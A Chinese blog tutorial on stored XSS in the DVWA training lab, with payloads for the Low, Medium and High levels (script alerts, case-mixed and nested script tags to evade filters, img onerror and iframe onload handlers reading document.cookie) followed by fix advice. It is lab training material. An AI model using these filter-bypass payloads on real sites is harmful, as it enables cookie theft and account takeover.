美文网首页
10.DVWA之存储型XSS

10.DVWA之存储型XSS

作者: imsilence | 来源:发表于2019-02-19 14:40 被阅读0次

    漏洞概述

    存储型XSS是指应用程序直接将攻击者提交的具有恶意代码存储到后台,在显示数据页面被访问时恶意脚本在浏览器因html注入导致页面执行恶意代码从而被攻击者控制浏览器

    测试工具

    firefox浏览器

    测试方法

    LOW级别

    1. 设置DVWA安全级别为LOW

    2. 使用浏览器进行XSS攻击

      在浏览器中输入payload:

      • <script>alert(/xss/)</script>
      • <script>alert(document.cookie)</script>
      • <img src="" onerror="alert(/xss/)"/>
      • <iframe src="" onload="alert(document.cookie)"></iframe>
      10.01.png
    3. 分析结果

      10.02.png
    4. 代码分析

      10.03.png

      说明:

      应用程序直接将提交数据进行SQL特殊字符进行转义后存储到数据库,后续显示数据时未对数据做转义操作,可直接使用提交数据包含xss payload进行攻击

    MEDIUM级别

    1. 设置DVWA安全级别为Medium

    2. 使用浏览器进行XSS攻击

      在浏览器中输入payload:

      • <sc<script>ript>alert(/xss/)</script>
      • <sCrIpt>alert(document.cookie)</scRipT>
      • <img src="" onerror="alert(/xss/)"/>
      • <iframe src="" onload="alert(document.cookie)"></iframe>
      10.04.png
    3. 分析结果

      10.05.png
    4. 代码分析

      10.06.png

      说明:

      应用程序将提交数据txtName只进行<script>标签过滤和SQL特殊字符进行转义后存储到数据库,后续显示数据时未对数据做转义操作,可直接txtName字段使用提交数据包含xss payload进行攻击(script大小写变换后的标签、二次变化的<scr<script>ipt>、iframe、img等标签进行绕过对txtName的过滤)

    HIGH级别

    1. 设置DVWA安全级别为High

    2. 使用浏览器进行XSS攻击

      在浏览器中输入payload:

      • <img src="" onerror="alert(/xss/)"/>
      • <iframe src="" onload="alert(document.cookie)"></iframe>
      10.07.png
    3. 分析结果

      10.08.png
    4. 代码分析

      10.09.png

      说明:

      应用程序将提交数据txtName只进行<script字符串过滤和SQL特殊字符进行转义后存储到数据库,后续显示数据时未对数据做转义操作,可直接txtName字段使用提交数据包含xss payload进行攻击(通过iframe、img等标签进行绕过对txtName的过滤)

    修复建议

    1. 禁用js读取cookie(设置cookie为httponly)

    2. 在页面输出数据时对<、>、&、 '、"、/等字符进行html实体转义

    3. 对输入数据中<、>、&、 '、"进行严格检查

    相关文章

      网友评论

          本文标题:10.DVWA之存储型XSS

          本文链接:https://www.haomeiwen.com/subject/alzxyqtx.html